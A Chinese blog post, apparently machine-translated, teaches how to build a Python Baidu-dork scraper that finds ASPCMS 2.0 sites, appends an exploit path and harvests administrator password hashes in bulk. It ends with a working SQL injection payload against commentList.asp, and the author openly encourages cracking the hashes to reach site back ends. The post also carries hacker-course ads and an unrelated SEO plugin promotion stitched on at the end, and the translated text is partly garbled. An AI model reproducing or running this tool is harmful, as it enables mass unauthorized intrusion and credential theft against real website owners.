最新版本:Python大黑阔—url采集+exp验证,带你批量测试

优采云 发布时间: 2022-12-06 05:25

  最新版本:Python大黑阔—url采集+exp验证,带你批量测试

  大家好!我是每天给大家分享好文的柠檬!陪你长大~

  如果需要系统的黑客渗透视频教程,可以看文末。

  一、简介

  这几天一直在整理从各个地方采集到的大大小小的各种工具包,塞满了十几G的硬盘,无意中发现了几年前的一个0day。

  我心血来潮,试了一下。没想到真的能用,但是那些站点已经年久失修,而且都年久失修了。经过几次手动测试,发现使用率相当可观,于是想配合url采集器写一个批量exp脚本。

  于是就有了今天的文章,最后是表哥论坛的邀请码,不小心买多了。先到先得。

  二。开始

  环境和使用模块:

  Python3

  要求

  美丽的苏普

  哈希库

  老规矩是先定义目标

  需要写一个url采集器,采集我们的目标URL,

  需要结合我们的exp在里面。

  我们先看一下exp的格式,大致是这样的:

  表达式:xxx/xxx/xxx/xxx

  百度关键词:xxxxxx

  使用方法是在网站后加exp,直接暴露管理账号的密码。

  像这样:

  PS:以后用这个代替我们的代码

  再放一张效果图

  这是正确的。直接输出账号密码哈哈哈。

  好了,我们正式开始写程序了。

  url采集 模块:

  首先我们需要写一个基于百度搜索的url采集器。我们先分析一下百度的搜索方式。

  我们打开百度,输入搜索关键词,替换成芒果。

  可以看到wd参数后面是我们的关键字。我们点击第二页,看看是哪个参数控制页码的。

  好吧,如果我们和之前的url对比一下,我们会发现pn参数变成了10。同样的,我们打开第三页和第四页,发现页码从0开始,每页加10。这里我们修改pn参数为90,是不是要到第十页了?

  可以看到真的变成了第十页,证明我们的思路是正确的。我们取出网址如下

  芒果&pn=0

  我们这里不需要pn参数后面的东西,这样会精简很多。

  我们开始编写代码。我们首先需要一个main函数来打开我们的百度网页,我们使用for循环来控制页码变量来打开每一页的内容。

  

  首先实现打开一个页面网站,代码如下

  import requests<br />from bs4 import BeautifulSoup as bs  #这里吧模块命名为了bs,方面我们调用。<br />def main():<br />        url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url<br />        r=requests.get(url=url)#请求目标网址<br />        soup=bs(r.content,'lxml')#利用bs解析网址<br />        print soup<br /><br />if __name__ == '__main__':<br />    main()#调用函数main

  我们运行一下,发现返回的页面是这样的,并没有我们想要的内容。

  这是为什么,原因是因为百度做了反爬,不过不用担心,我们只需要将headers参数和request一起添加即可。修改后的代码如下:

  def main():<br />        url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url<br />        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误<br />        r=requests.get(url=url,headers=headers)#请求目标网址<br />        soup=bs(r.content,'lxml')#利用bs解析网址<br />        print soup

  这样在运行的时候就可以看到网页内容成功返回了。

  好的,让我们添加我们的循环,以便它可以遍历每个网页。写了一个简单的爬虫,但是没有爬到任何东西,所以先附上代码。

  import requests<br />from bs4 import BeautifulSoup as bs  #这里吧模块命名为了bs,方面我们调用。<br />def main():<br />    for i in range(0,750,10):#遍历页数,每次增加10<br />        url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))#定义url<br />        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误<br />        r=requests.get(url=url,headers=headers)#请求目标网址<br />        soup=bs(r.content,'lxml')#利用bs解析网址<br />        print soup<br />if __name__ == '__main__':<br />    main()#调用函数main

  我们继续分析页面,提取每个 URL。右键单击检查元素以查看它在源代码中的位置。

  可以看出,我们要取的数据在一个名为a的标签中,我们使用bs来取这个标签的所有内容。

  并使用循环提取“href”属性中的URL,主要功能代码如下。

  def main():<br />    for i in range(0,10,10):<br />        url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br />        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br />        r=requests.get(url=url,headers=headers)<br />        soup=bs(r.content,'lxml')<br />        urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。<br />        for url in urls:<br />            print url['href']#取出href中的链接内容

  这里解释一下为什么会有语句class:none。如果不加上这句话,我们会发现同时获取到了百度快照的地址。

  在快照的地址中,class属性是有值的,但是在我们真实的链接中,并没有class属性,所以我们不会获取到快照的链接。

  运行一下,成功返回我们想要的链接

  我们下一步是验证这些链接是否可用,因为有些 网站 仍然可以搜索到,但是已经不能打开了。

  这里我们使用request模块请求我们的链接,查看返回的状态码是否为200,如果为200,说明网站可以正常打开。

  在for循环中加入如下两行代码并运行。

  r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。<br />print r_get_url.status_code

  可以看到成功返回了200。接下来,我们需要打印出可以成功访问的URL地址,只需要网站的首页的URL即可。

  我们分析一个URL

  发现这些都是用“/”隔开的,我们可以把url用“/”隔开,取出我们要去的网址。

  运行程序后。你会发现返回了这样的 URL,其中有一些是有目录的。

  我们用/把url分成一个列表后,列表中第一个就是网站使用的协议,第三个就是我们要抓取的url的首页。代码如下

  def main():<br />    for i in range(0,10,10):<br />        url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))<br />        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br />        r=requests.get(url=url,headers=headers)<br />        soup=bs(r.content,'lxml')<br />        urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。<br />        for url in urls:<br />            r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。<br />            if r_get_url.status_code==200:#判断状态码是否为200<br />                url_para= r_get_url.url#获取状态码为200的链接<br /><br />                url_index_tmp=url_para.split('/')#以“/”分割url<br />                url_index=url_index_tmp[0]+'//'+url_index_tmp[2]#将分割后的网址重新拼凑成标准的格式。<br />                print url_index

  运行后,成功获取到我们要获取的内容。

  好了,到这里我们就实现了我们最重要的功能。进入我们的精彩时刻,添加exp,批量获取站位。

  3.exp模板

  这个功能怎么实现,原理就是在我们爬取的链接后面加上我们的exp,拼接成一个完整的地址,把这个网址拿出来保存成txt文本,供我们验证。

  现在我们的代码是这样的

  # -*- coding: UTF-8 -*-<br />import requests<br />import re<br />from bs4 import BeautifulSoup as bs<br />def main():<br />    for i in range(0,10,10):<br />        expp=("/xxx/xxx/xxx/xx/xxxx/xxx")<br />        url='https://www.baidu.com/s?wd=xxxxxxxxx&pn=%s'%(str(i))<br />        headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}<br />        r=requests.get(url=url,headers=headers)<br />        soup=bs(r.content,'lxml')<br />        urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})<br />        for url in urls:<br />            r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)<br />            if r_get_url.status_code==200:<br />                url_para= r_get_url.url<br />                url_index_tmp=url_para.split('/')<br />                url_index=url_index_tmp[0]+'//'+url_index_tmp[2]<br />                with open('cs.txt') as f:<br />                    if  url_index not in f.read():#这里是一个去重的判断,判断网址是否已经在文本中,如果不存在则打开txt并写入我们拼接的exp链接。<br />                        print url_index<br />                        f2=open("cs.txt",'a+')<br />                        f2.write(url_index+expp+'\n')<br />                        f2.close()<br /><br />if __name__ == '__main__':<br />    f2=open('cs.txt','w')<br />    f2.close()<br />    main()

  这里我把exp换成了xxx,大家可以自己换。放在最后。

  

  运行我们的程序,在根目录下,我们可以找到一个cs.txt文本文件,打开后是这样的。

  打字有点严重。不过没关系,小问题,大家懂的,其实到这里就完事了,我们可以手动验证,贴上去,一个一个访问,看看有没有我们想要的

  不过,懒得一一核实,何年何月。

  这里我们新建一个py文件来验证我们上一步抓取的链接,这样我们就把两个模块分开了,你只能使用第一个url采集的功能。

  我们的思路是这样的,打开我们刚才采集的链接,看看网页上有没有具体的内容,如果有,把链接保存在文件里,就是我们可以验证的链接即可成功使用。

  让我们来看看一个成功的页面是什么样子的。

  利用失败的页面

  我们发现在被成功利用的页面中有一个管理员密码的哈希值。这里我们使用hashlib模块来判断页面中是否存在MD5。如果有,打印出来,并取出MD5和链接一起保存在文中。

  我们先分析一下网站的源码,这样我们就可以把内容拿出来了

  你可以看到 网站 非常简单。我们要获取的内容在不同的属性值中。一个是 class:line1,另一个是 class:line2。我们只需要使用bs模块来提取这两个标签的内容即可。.

  代码如下

  # -*- coding: UTF-8 -*-<br />from bs4 import BeautifulSoup as bs<br />import requests<br />import time<br />import hashlib<br />def expp():<br />    f = open("cs.txt","r")#打开我们刚刚收集的文本文档<br />    url=f.readlines()#逐行取出我们的链接<br />    for i in url:#将取出的链接放入循环中<br />        try:#加入异常处理,让报错直接忽略,不影响程序运行<br />            r=requests.get(i,timeout=5)#请求网址<br />            if r.status_code == 200:#判断网址是否可以正常打开,可以去掉这一个,我们刚刚验证了<br />                soup=bs(r.text,"lxml")#用bp解析网站<br />                if hashlib.md5:#判断网址中是否有MD5,如果有继续运行<br />                    mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text#获取line1数据<br />                    mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text#获取line2数据<br />                    f2=open('cs2.txt','a+')#打开我们的文本<br />                    f2.write(i+"\n"+mb1+"\n")#将我们验证好的链接,还有数据保存在文本中<br />                    f2.close()<br />                    print (mb1)<br />                    print (mb2)<br />        except:<br /><br />            pass<br />    f.close()<br />expp()

  运行:

  成功了,让我们看看我们的文件。

  完美,那我们就可以去后台解密了,你懂的。

  经验值:

  百度关键字:*敏*感*词*--Powered by ASPCMS 2.0<br />exp:/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user

  四。概括

  来源链接:

  密码:578p

  如何从零基础开始黑客攻击

  黑客视频教程+进入内部群+领队工具+靶场-----扫描二维码领取

  扫码获取免费视频

  过去的内容回顾

  扫描二维码立即免费领取

  黑客教程视频范围工具讲师课件

  一线安全工程师每天在线直播授课

  近期发布:米拓cms插件-米拓cms采集发布实现网站快速收录

  我们的各个行业都有自己的行业关键词,在无数关键词中,热门关键词的搜索量占整个行业关键词搜索量的20%,

  而整个行业80%的搜索量都是由长尾关键词组成的,我们在更新网站内容的同时,也需要实时关注行业的最新关键词,这个功能我们可以通过Mituocms插件来实现

  米拓cms插件不需要花费大量时间学习软件操作,不需要了解复杂的专业知识,只需点击采集规则,输入关键词即可采集。全自动任务设置,自动执行采集发布。可以统一集中管理多个不同的cms网站。多网站文章更新一键管理也不是问题。具有自动运行、成本低、效率高的特点。

  Mituocms插件,只要输入关键词就可以采集,就可以采集通过软件实现自动采集和发布文章,为了让搜索引擎收录您的网站,我们还可以设置自动下载图片和替换链接,图片存储支持:阿里云OSS、七牛对象存储、腾讯云、派云。同时,它还配备了自动内部链接,内容或标题,以前后插入某些内容以形成“伪原创”。该软件还具有监控功能,可以直接通过软件查看文章采集发布。

  米拓cms插件在发布方面也有不错的体验:

  1.支持任何PHP版本

  

  2. 支持任何版本的 Mysql

  3.支持任何版本的Nginx

  4.米拓cms插件支持任意版本

  关键词是网站内容很重要,关键词针对访问者。我们需要关注关键词的相关性和密度;关键词的频率;关键词竞争对手;题材突出,含量丰富,粘度大,网站含量在领域垂直深度是近年来网站主流趋势。

  使关键词出现在我们网页的文章中。建议第一次出现时加粗,让搜索引擎注意这个关键词,以后出现就不用加粗了,如果关键词在文章中出现多次,我们需要控制关键词密度,控制在5%左右比较合理。

  注意网页中图片alt标签中写关键词,让搜索引擎知道图片,知道图片想要表达什么。

  在针对长尾关键词进行优化时,请保留良好的记录,并尽可能将关键词用作子目录。不要觉得关键词少,效果不好,其实即使只有一个关键词,优化带来的流量也足够了。

  

  早期的SEO方法比较单一,主要是外部链接和伪原创,这与当时百度算法相对简单有比较大的关系。事实上,百度一直在改进搜索排名算法,确定网站排名的标准也越来越严格,我们不应该刻意追求网页中的关键词排名,而应该专注于提高网站的整体质量。与关键词优化相比,米拓cms插件站点优化具有以下效果

  1.搜索引擎收录更多页面。

  2.每次搜索引擎快照更新的时间会更短。

  3.搜索引擎将检索更多关键词。

  4. 来自各种搜索引擎的流量持续增加。

  在满足用户需求、提高网站内容质量的同时,我们也需要遵守搜索引擎的规则,才能更好地实现流量转化。无论是关键词优化还是全站优化,我们都需要照顾好我们的网站。看完这文章,如果你觉得不错,欢迎转发采集,你的一举一动都会成为博主源源不断的动力。

0 个评论

要回复文章请先登录注册


官方客服QQ群

微信人工客服

QQ人工客服


线